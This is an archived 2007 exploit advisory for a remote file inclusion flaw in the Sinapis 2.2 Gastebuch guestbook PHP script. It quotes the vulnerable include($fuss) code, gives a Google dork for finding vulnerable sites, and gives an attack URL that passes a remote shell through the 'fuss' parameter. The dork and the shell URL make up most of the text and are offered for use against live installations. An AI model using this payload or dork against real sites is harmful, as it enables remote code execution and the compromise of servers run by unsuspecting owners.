[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Sinapis 2.2 Gastebuch (sinagb.php fuss) Remote File Include Vulnerability
# Published : 2007-02-23
# Author : kezzap66345
# Previous Title : phpBB Module NoMoKeTos Rules 0.0.1 Remote File Include Exploit
# Next Title : FCRing <= 1.31 (fcring.php s_fuss) Remote File Include Vulnerability
Sinapis 2.2 Gastebuch
*****************
Found by kezzap66345 *
*****************
Script:
http://www.scripter.ch/start.php?id=41.18.9&pos=gb&title=Sinapis%20G?stebuch%20<img%20src=/pics/gbscr.gif>
*****************
Dork="inurl:sinagb.php"
*****************
ERROR:
if($fuss == ""){
echo "</body></html>";}
else{
include($fuss);} <<< rfi coded
**************************************************************************************
RFI:
http://SITE.com/path//sinagb.php?fuss=[SHELL]
**************************************************************************************
kezzap66345[at]hotmail[dot]com
******thanx=x0r0n*str0ke*shika********************************************************
# www.Syue.com [2007-02-23]